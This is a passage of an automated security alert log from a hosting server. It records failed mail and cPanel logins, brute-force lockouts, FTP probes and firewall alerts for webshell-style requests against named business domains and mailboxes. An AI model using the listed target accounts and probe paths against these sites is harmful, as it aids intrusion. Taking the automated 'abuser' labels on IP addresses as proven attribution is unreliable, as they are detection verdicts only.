2026-01-30 12:03:51 dovecot_login authenticator failed for H=(ipay.manforce.com.my) [103.197.57.79]:37118: 535 Incorrect authentication data (set_id=notification@manforce.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 61.72.59.106
country_id: 1835841
description:
2026-01-30 12:03:45 dovecot_login authenticator failed for H=([121.128.76.109]) [61.72.59.106]:50725: 535 Incorrect authentication data (set_id=marketing@smartcable.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.230.124.69
country_id: 2510769
description:
2026-01-30 12:03:06 dovecot_login authenticator failed for H=(MlHKmf3) [185.230.124.69]:60946: 535 Incorrect authentication data (set_id=jayabalan.vcp@vc-b.com.my)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 185.230.124.69
country_id: 2510769
description:
Jan 30 12:03:18 sv3 auth[2598542]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account janice@smartcable.com.my has been locked for the attacker IP 185.230.124.69


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 185.230.124.69
country_id: 2510769
description:
2026-01-30 12:03:41 dovecot_login authenticator failed for H=(hSViVt) [185.230.124.69]:57912: 535 Incorrect authentication data (set_id=janice@smartcable.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 58.49.113.138
country_id: 1814991
description:
2026-01-30 12:03:41 dovecot_login authenticator failed for H=(www.safecleen.com) [58.49.113.138]:13823: 535 Incorrect authentication data (set_id=support@euratech.com.my)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 185.230.124.69
country_id: 2510769
description:
Jan 30 12:04:23 sv3 auth[2598542]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account janice@smartcable.com.my has been locked for the attacker IP 185.230.124.69


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 113.140.95.2
country_id: 1814991
description:
2026-01-30 12:04:26 dovecot_login authenticator failed for H=([113.140.95.2]) [113.140.95.2]:36425: 535 Incorrect authentication data (set_id=marketing)


plugin: ossec
rule: 11001
name: Deferred login on the cpanel service
abuser: 115.133.178.47
country_id: 1733045
description:
[2026-01-30 12:04:50 +0800] info [webmaild] 115.133.178.47 - jlpom@ajplantations.com.my "GET /cpsess0934060670/3rdparty/roundcube/skins/elastic/watermark.html HTTP/1.1" DEFERRED LOGIN webmaild: security token incorrect


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.230.124.69
country_id: 2510769
description:
2026-01-30 12:04:02 dovecot_login authenticator failed for H=(Yh9dUET) [185.230.124.69]:53132: 535 Incorrect authentication data (set_id=janice@smartcable.com.my)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 113.211.130.49
country_id: 1733045
description:
[2026-01-30 12:05:57 +0800] info [webmaild] 113.211.130.49 - bell@lvconsult.com.my  "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: invalid user name specified


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 113.211.118.110
country_id: 1733045
description:
2026-01-30 12:05:04 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.0.36]) [113.211.118.110]:47272: 535 Incorrect authentication data (set_id=WM Chan)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 185.230.124.69
country_id: 2510769
description:
Jan 30 12:05:13 sv3 auth[2598542]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account jayabalan.vcp@vc-b.com.my has been locked for the attacker IP 185.230.124.69


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.230.124.69
country_id: 2510769
description:
2026-01-30 12:05:13 dovecot_login authenticator failed for H=(dNvTdP) [185.230.124.69]:51796: 535 Incorrect authentication data (set_id=janice@smartcable.com.my)


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 185.230.124.69
country_id: 2510769
description:
2026-01-30 12:05:37 dovecot_login authenticator failed for H=(x2MnseKeo) [185.230.124.69]:56577: 535 Incorrect authentication data (set_id=jayabalan.vcp@vc-b.com.my)


plugin: ossec
rule: 11001
name: Deferred login on the cpanel service
abuser: 203.106.96.63
country_id: 1733045
description:
[2026-01-30 12:05:56 +0800] info [webmaild] 203.106.96.63 - infocal@sutsb.com.my "GET / HTTP/1.1" DEFERRED LOGIN webmaild: security token missing


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 185.230.124.69
country_id: 2510769
description:
Jan 30 12:06:23 sv3 auth[2598542]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account jayabalan.vcp@vc-b.com.my has been locked for the attacker IP 185.230.124.69


plugin: modsec
rule: 77350396
name: IM360 WAF: Request indicates a Headless browser
abuser: 83.229.110.30
country_id: 6251999
domain: www.cabe.com.my
description:
IM360 WAF: Request indicates a Headless browser||MV:Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/135.0.0.0 Safari/537.36||RSV:7.69||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.230.124.69
country_id: 2510769
description:
2026-01-30 12:06:02 dovecot_login authenticator failed for H=(ND5vJ7q0f) [185.230.124.69]:50126: 535 Incorrect authentication data (set_id=jayabalan.vcp@vc-b.com.my)


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 45.150.192.143
country_id: 2510769
description:
2026-01-30 12:06:08 H=(localhost.localdomain) [45.150.192.143]:44280 F=<info@kapkenya.org> temporarily rejected RCPT <info@mkmetal.com.my>: Could not complete sender verify


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 103.197.57.79
country_id: 1733045
description:
2026-01-30 12:06:33 dovecot_login authenticator failed for H=(ipay.manforce.com.my) [103.197.57.79]:40702: 535 Incorrect authentication data (set_id=notification@manforce.net)


plugin: ossec
rule: 11301
name: New FTP connection.
abuser: 165.154.129.220
country_id: 2635167
description:
Jan 30 12:06:58 sv3 pure-ftpd[2743299]: (?@165.154.129.220) [INFO] New connection from 165.154.129.220


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 113.211.130.49
country_id: 1733045
description:
[2026-01-30 12:06:13 +0800] info [webmaild] 113.211.130.49 - bell@lvconsult.com.my  "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: invalid user name specified


plugin: ossec
rule: 11301
name: New FTP connection.
abuser: 165.154.129.220
country_id: 2635167
description:
Jan 30 12:06:59 sv3 pure-ftpd[2743305]: (?@165.154.129.220) [INFO] New connection from 165.154.129.220


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 64.72.74.162
country_id: 6252001
description:
2026-01-30 12:07:39 dovecot_login authenticator failed for H=(144.121.245.65.lightower.net) [64.72.74.162]:40691: 535 Incorrect authentication data (set_id=admin@euratech.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.230.124.69
country_id: 2510769
description:
2026-01-30 12:07:04 dovecot_login authenticator failed for H=(6zfzFge) [185.230.124.69]:63352: 535 Incorrect authentication data (set_id=jeffreylee@ms-chemicals.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 113.211.118.110
country_id: 1733045
description:
2026-01-30 12:07:04 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.0.36]) [113.211.118.110]:15633: 535 Incorrect authentication data (set_id=WM Chan)


plugin: ossec
rule: 11302
name: FTP Authentication failed.
abuser: 165.154.129.220
country_id: 2635167
description:
Jan 30 12:07:06 sv3 pure-ftpd[2743336]: (?@165.154.129.220) [WARNING] Authentication failed for user [anonymous]


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 185.230.124.69
country_id: 2510769
description:
Jan 30 12:07:09 sv3 auth[2598542]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account jayabalan.vcp@vc-b.com.my has been locked for the attacker IP 185.230.124.69


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 185.230.124.69
country_id: 2510769
description:
2026-01-30 12:07:18 dovecot_login authenticator failed for H=(qJa5O1vM) [185.230.124.69]:58987: 535 Incorrect authentication data (set_id=janice@smartcable.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 103.197.57.79
country_id: 1733045
description:
2026-01-30 12:07:27 dovecot_login authenticator failed for H=(ipay.manforce.com.my) [103.197.57.79]:58600: 535 Incorrect authentication data (set_id=notification@manforce.net)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 185.230.124.69
country_id: 2510769
description:
Jan 30 12:08:05 sv3 auth[2598542]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account jeffreylee@ms-chemicals.net has been locked for the attacker IP 185.230.124.69


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 222.128.15.127
country_id: 1814991
description:
2026-01-30 12:08:17 dovecot_login authenticator failed for H=([222.128.15.127]) [222.128.15.127]:50838: 535 Incorrect authentication data (set_id=mail.urban.myexport@urban.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 116.104.50.190
country_id: 1562822
description:
2026-01-30 12:08:33 dovecot_login authenticator failed for H=(dynamic-adsl.viettel.vn) [116.104.50.190]:54704: 535 Incorrect authentication data (set_id=mail.urban.myexport)


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 45.150.192.143
country_id: 2510769
description:
2026-01-30 12:08:41 H=(localhost.localdomain) [45.150.192.143]:45756 F=<info@kapkenya.org> temporarily rejected RCPT <astpkg@astlog.com.my>: Could not complete sender verify


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 102.53.15.56
country_id: 2542007
description:
2026-01-30 12:08:07 dovecot_login authenticator failed for H=([102.53.15.56]) [102.53.15.56]:49513: 535 Incorrect authentication data (set_id=admin)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.157.239
country_id: 1880251
domain: www.pspoly.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.69||T:APACHE||MV:/wp-content/plugins/flagallery-skins/default_int/img/demos/img/img/contact-us.php||SC:/home2/pspolycom/public_html/wp-content||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 122.148.199.165
country_id: 2077456
description:
2026-01-30 12:08:32 dovecot_login authenticator failed for H=165.199.148.122.sta.wbroadband.net.au [122.148.199.165]:57899: 535 Incorrect authentication data (set_id=ysl@ajplantations.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.230.124.69
country_id: 2510769
description:
2026-01-30 12:08:03 dovecot_login authenticator failed for H=(ItBhxafsYe) [185.230.124.69]:60765: 535 Incorrect authentication data (set_id=janice@smartcable.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 176.125.229.3
country_id: 3194884
description:
2026-01-30 12:08:18 dovecot_login authenticator failed for H=(ADMIN) [176.125.229.3]:64310: 535 Incorrect authentication data (set_id=jaya@dsc-expat.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 128.185.253.98
country_id: 1269750
description:
2026-01-30 12:08:45 dovecot_login authenticator failed for H=([128.185.253.98]) [128.185.253.98]:56814: 535 Incorrect authentication data (set_id=mail.urban.myexport)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 185.230.124.69
country_id: 2510769
description:
Jan 30 12:09:04 sv3 auth[2598542]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account janice@smartcable.com.my has been locked for the attacker IP 185.230.124.69


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 185.230.124.69
country_id: 2510769
description:
2026-01-30 12:09:06 dovecot_login authenticator failed for H=(iAW2Xk2) [185.230.124.69]:55266: 535 Incorrect authentication data (set_id=janice@smartcable.com.my)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.143.101
country_id: 1880251
domain: www.pspoly.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.69||T:APACHE||MV:/portfolio/img/img/img/img/img/img/demos/img/img/new-development.php||SC:/home2/pspolycom/public_html/portfolio||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 115.132.248.149
country_id: 1733045
description:
2026-01-30 12:09:03 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.0.126]) [115.132.248.149]:53597: 535 Incorrect authentication data (set_id=info@aire-fresh.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.230.124.69
country_id: 2510769
description:
2026-01-30 12:09:06 dovecot_login authenticator failed for H=(bFViKZXJIu) [185.230.124.69]:55532: 535 Incorrect authentication data (set_id=jayabalan.vcp@vc-b.com.my)


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 45.150.192.143
country_id: 2510769
description:
2026-01-30 12:09:30 H=(localhost.localdomain) [45.150.192.143]:46882 F=<info@kapkenya.org> temporarily rejected RCPT <celine@ktlog.com.my>: Could not complete sender verify


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 185.230.124.69
country_id: 2510769
description:
Jan 30 12:10:09 sv3 auth[2598542]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account jeffreylee@ms-chemicals.net has been locked for the attacker IP 185.230.124.69


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 185.230.124.69
country_id: 2510769
description:
2026-01-30 12:10:37 dovecot_login authenticator failed for H=(81y01g) [185.230.124.69]:58757: 535 Incorrect authentication data (set_id=janice@smartcable.com.my)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.142.210
country_id: 1880251
domain: www.pspoly.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.69||T:APACHE||MV:/portfolio/img/img/img/img/img/demos/img/img/clientele.php||SC:/home2/pspolycom/public_html/portfolio||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.230.124.69
country_id: 2510769
description:
2026-01-30 12:10:11 dovecot_login authenticator failed for H=(hKKQlh) [185.230.124.69]:51284: 535 Incorrect authentication data (set_id=jeffreylee@ms-chemicals.net)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 185.230.124.69
country_id: 2510769
description:
Jan 30 12:11:16 sv3 auth[2598542]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account jeffreylee@ms-chemicals.net has been locked for the attacker IP 185.230.124.69


plugin: modsec
rule: 33341
name: IM360 WAF: Track file upload for Infectors
abuser: 117.120.26.49
country_id: 1831722
domain: www.oxbold.com
description:
IM360 WAF: Track file upload for Infectors||RSV:7.69||T:APACHE||SC:/home/oxboldc/public_html/script/security/class/index.php||User:oxboldc||WPU:||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.230.124.69
country_id: 2510769
description:
2026-01-30 12:11:18 dovecot_login authenticator failed for H=(hBW1b9oWw) [185.230.124.69]:63019: 535 Incorrect authentication data (set_id=jeffreylee@ms-chemicals.net)


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 77.83.39.94
country_id: 690791
description:
2026-01-30 12:11:40 H=([77.83.39.94]) [77.83.39.94]:62124 F=<sales@auersignal.com> rejected RCPT <lowkeesen@nobledec.com>: SPF: 77.83.39.94 is not allowed to send mail from auersignal.com


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 59.48.93.218
country_id: 1814991
description:
2026-01-30 12:12:00 dovecot_login authenticator failed for H=(218.93.48.59.broad.jz.sx.dynamic.163data.com.cn) [59.48.93.218]:41887: 535 Incorrect authentication data (set_id=msc.einvoice@ms-chemicals.net)


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 185.230.124.69
country_id: 2510769
description:
2026-01-30 12:12:26 dovecot_login authenticator failed for H=(vQPWdoez) [185.230.124.69]:50575: 535 Incorrect authentication data (set_id=jayabalan.vcp@vc-b.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 27.24.141.119
country_id: 1814991
description:
2026-01-30 12:12:43 dovecot_login authenticator failed for H=([27.24.141.119]) [27.24.141.119]:49912: 535 Incorrect authentication data (set_id=jobstore.comchew@nexuscollection.com)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 185.230.124.69
country_id: 2510769
description:
Jan 30 12:12:02 sv3 auth[2598542]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account janice@smartcable.com.my has been locked for the attacker IP 185.230.124.69


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.230.124.69
country_id: 2510769
description:
2026-01-30 12:12:04 dovecot_login authenticator failed for H=(QKFTSYoF0) [185.230.124.69]:61278: 535 Incorrect authentication data (set_id=janice@smartcable.com.my)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 190.8.165.153
country_id: 3625428
domain: appointment.visoft.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/appointment.visoft.com.my/vendor/symfony/css-selector/Node/CombinedSelectorNode.php HTTP/1.1||RSV:7.69||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 76.132.238.43
country_id: 6252001
description:
2026-01-30 12:13:11 dovecot_login authenticator failed for H=c-76-132-238-43.hsd1.ca.comcast.net [76.132.238.43]:36334: 535 Incorrect authentication data (set_id=info@euratech.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 122.187.234.73
country_id: 1269750
description:
2026-01-30 12:13:32 dovecot_login authenticator failed for H=(nsg-corporate-73.234.187.122.airtel.in) [122.187.234.73]:46671: 535 Incorrect authentication data (set_id=info)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.157.239
country_id: 1880251
domain: www.pspoly.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.69||T:APACHE||MV:/plug/sms/img/about.php||SC:/home2/pspolycom/public_html/plug||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 83.171.70.150
country_id: 2017370
description:
2026-01-30 12:13:02 dovecot_login authenticator failed for H=([83.171.70.150]) [83.171.70.150]:50824: 535 Incorrect authentication data (set_id=jobstore.comchew)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 185.230.124.69
country_id: 2510769
description:
Jan 30 12:13:05 sv3 auth[2598542]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account jayabalan.vcp@vc-b.com.my has been locked for the attacker IP 185.230.124.69


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.230.124.69
country_id: 2510769
description:
2026-01-30 12:13:07 dovecot_login authenticator failed for H=(b9kxbb) [185.230.124.69]:54948: 535 Incorrect authentication data (set_id=jayabalan.vcp@vc-b.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.230.124.69
country_id: 2510769
description:
2026-01-30 12:14:05 dovecot_login authenticator failed for H=(bYjdIuxHZO) [185.230.124.69]:56922: 535 Incorrect authentication data (set_id=jeffreylee@ms-chemicals.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 220.80.223.144
country_id: 1835841
description:
2026-01-30 12:14:20 dovecot_login authenticator failed for H=([220.80.223.144]) [220.80.223.144]:43426: 535 Incorrect authentication data (set_id=admin)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 125.19.218.50
country_id: 1269750
description:
2026-01-30 12:14:48 dovecot_login authenticator failed for H=([125.19.218.50]) [125.19.218.50]:34990: 535 Incorrect authentication data (set_id=www.facebook.comrnd@plomalite.com)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 185.230.124.69
country_id: 2510769
description:
Jan 30 12:14:10 sv3 auth[2598542]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account jayabalan.vcp@vc-b.com.my has been locked for the attacker IP 185.230.124.69


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 185.230.124.69
country_id: 2510769
description:
2026-01-30 12:14:12 dovecot_login authenticator failed for H=(Q3ojLrXI) [185.230.124.69]:59136: 535 Incorrect authentication data (set_id=jayabalan.vcp@vc-b.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 220.93.167.144
country_id: 1835841
description:
2026-01-30 12:14:03 dovecot_login authenticator failed for H=([220.93.167.144]) [220.93.167.144]:33632: 535 Incorrect authentication data (set_id=admin@dsc-expat.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 128.185.254.54
country_id: 1269750
description:
2026-01-30 12:14:58 dovecot_login authenticator failed for H=([128.185.254.54]) [128.185.254.54]:51282: 535 Incorrect authentication data (set_id=www.facebook.comrnd)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 14.234.1.23
country_id: 1562822
domain: www.box.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.box.com.my/products.html HTTP/1.1||RSV:7.69||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 123.20.51.219
country_id: 1562822
domain: www.evergrown.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.evergrown.com.my/product-details.php?id=86331515117013 HTTP/1.1||RSV:7.69||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.230.124.69
country_id: 2510769
description:
2026-01-30 12:15:01 dovecot_login authenticator failed for H=(glZ6wDy) [185.230.124.69]:51084: 535 Incorrect authentication data (set_id=janice@smartcable.com.my)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 14.234.1.23
country_id: 1562822
domain: www.box.com.myhttp
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.box.com.myhttp/www.box.com.my/products.html HTTP/1.1||RSV:7.69||T:APACHE||


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 185.230.124.69
country_id: 2510769
description:
2026-01-30 12:15:55 dovecot_login authenticator failed for H=(olxXtr) [185.230.124.69]:57707: 535 Incorrect authentication data (set_id=jeffreylee@ms-chemicals.net)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 185.230.124.69
country_id: 2510769
description:
Jan 30 12:15:20 sv3 auth[2598542]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account jayabalan.vcp@vc-b.com.my has been locked for the attacker IP 185.230.124.69


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 103.197.57.79
country_id: 1733045
description:
2026-01-30 12:15:02 dovecot_login authenticator failed for H=(ipay.manforce.com.my) [103.197.57.79]:52138: 535 Incorrect authentication data (set_id=notification@manforce.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.230.124.69
country_id: 2510769
description:
2026-01-30 12:16:04 dovecot_login authenticator failed for H=(s2V0nz) [185.230.124.69]:57502: 535 Incorrect authentication data (set_id=jayabalan.vcp@vc-b.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 102.53.15.17
country_id: 2542007
description:
2026-01-30 12:16:21 dovecot_login authenticator failed for H=([102.53.15.17]) [102.53.15.17]:47729: 535 Incorrect authentication data (set_id=info@ajplantations.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 183.167.193.127
country_id: 1814991
description:
2026-01-30 12:16:42 dovecot_login authenticator failed for H=([183.167.193.127]) [183.167.193.127]:49458: 535 Incorrect authentication data (set_id=info)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.155.111
country_id: 1880251
domain: www.sutsb.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.69||T:APACHE||MV:/ways-to-develop-a-project-on-the-net-classroom/images/sliders/cdn-cgi/l/cdn-cgi/l/cdn-cgi/l/index.php||SC:/home/sutsbcom/public_html/ways-to-develop-a-project-on-the-net-classroom||


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 185.230.124.69
country_id: 2510769
description:
Jan 30 12:16:02 sv3 auth[2598542]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account jayabalan.vcp@vc-b.com.my has been locked for the attacker IP 185.230.124.69


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 111.70.32.49
country_id: 1668284
description:
2026-01-30 12:17:32 dovecot_login authenticator failed for H=111-70-32-49.emome-ip.hinet.net [111.70.32.49]:42495: 535 Incorrect authentication data (set_id=zainuddin)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 185.230.124.69
country_id: 2510769
description:
Jan 30 12:17:09 sv3 auth[2598542]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account jayabalan.vcp@vc-b.com.my has been locked for the attacker IP 185.230.124.69


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.230.124.69
country_id: 2510769
description:
2026-01-30 12:17:11 dovecot_login authenticator failed for H=(BflNkW85) [185.230.124.69]:56793: 535 Incorrect authentication data (set_id=jayabalan.vcp@vc-b.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 211.169.212.206
country_id: 1835841
description:
2026-01-30 12:17:17 dovecot_login authenticator failed for H=([211.53.58.1]) [211.169.212.206]:62483: 535 Incorrect authentication data (set_id=zainuddin@astlog.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.230.124.69
country_id: 2510769
description:
2026-01-30 12:18:18 dovecot_login authenticator failed for H=(tRohTAOysu) [185.230.124.69]:57277: 535 Incorrect authentication data (set_id=jayabalan.vcp@vc-b.com.my)


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 185.230.124.69
country_id: 2510769
description:
2026-01-30 12:18:21 dovecot_login authenticator failed for H=(QJfR1r) [185.230.124.69]:63288: 535 Incorrect authentication data (set_id=janice@smartcable.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.42.113.10
country_id: 1814991
description:
2026-01-30 12:18:43 dovecot_login authenticator failed for H=([182.42.113.10]) [182.42.113.10]:47686: 535 Incorrect authentication data (set_id=admin@stonewld.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 154.144.243.93
country_id: 2542007
description:
2026-01-30 12:18:54 dovecot_login authenticator failed for H=([154.144.243.93]) [154.144.243.93]:54234: 535 Incorrect authentication data (set_id=admin)


plugin: ossec
rule: 11001
name: Deferred login on the cpanel service
abuser: 115.133.147.159
country_id: 1733045
description:
[2026-01-30 12:18:56 +0800] info [webmaild] 115.133.147.159 - jle@ajplantations.com.my "POST /cpsess2575592407/3rdparty/roundcube/?_task=mail&_action=refresh HTTP/1.1" DEFERRED LOGIN webmaild: security token incorrect


plugin: ossec
rule: 6012
name: Imunify PAM. The account has been temporarily locked
abuser: 175.136.98.79
country_id: 1733045
description:
Jan 30 12:18:08 sv3 auth[2598542]: pam_imunify(dovecot_imunify:auth): [IM360_UL] The account janice@smartcable.com.my has been temporarily locked by Imunify PAM(175.136.98.79)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 185.230.124.69
country_id: 2510769
description:
Jan 30 12:18:19 sv3 auth[2598542]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account janice@smartcable.com.my has been locked for the attacker IP 185.230.124.69


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 103.197.57.79
country_id: 1733045
description:
2026-01-30 12:19:17 dovecot_login authenticator failed for H=(ipay.manforce.com.my) [103.197.57.79]:47046: 535 Incorrect authentication data (set_id=notification@manforce.net)


plugin: ossec
rule: 11001
name: Deferred login on the cpanel service
abuser: 115.133.147.159
country_id: 1733045
description:
[2026-01-30 12:19:56 +0800] info [webmaild] 115.133.147.159 - jle@ajplantations.com.my "POST /cpsess2575592407/3rdparty/roundcube/?_task=mail&_action=refresh HTTP/1.1" DEFERRED LOGIN webmaild: security token incorrect


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 185.230.124.69
country_id: 2510769
description:
Jan 30 12:19:21 sv3 auth[2598542]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account janice@smartcable.com.my has been locked for the attacker IP 185.230.124.69


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.230.124.69
country_id: 2510769
description:
2026-01-30 12:19:02 dovecot_login authenticator failed for H=(JD4AYF) [185.230.124.69]:60456: 535 Incorrect authentication data (set_id=janice@smartcable.com.my)


plugin: ossec
rule: 6012
name: Imunify PAM. The account has been temporarily locked
abuser: 175.136.98.79
country_id: 1733045
description:
Jan 30 12:19:06 sv3 auth[2598542]: pam_imunify(dovecot_imunify:auth): [IM360_UL] The account janice@smartcable.com.my has been temporarily locked by Imunify PAM(175.136.98.79)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 185.230.124.69
country_id: 2510769
description:
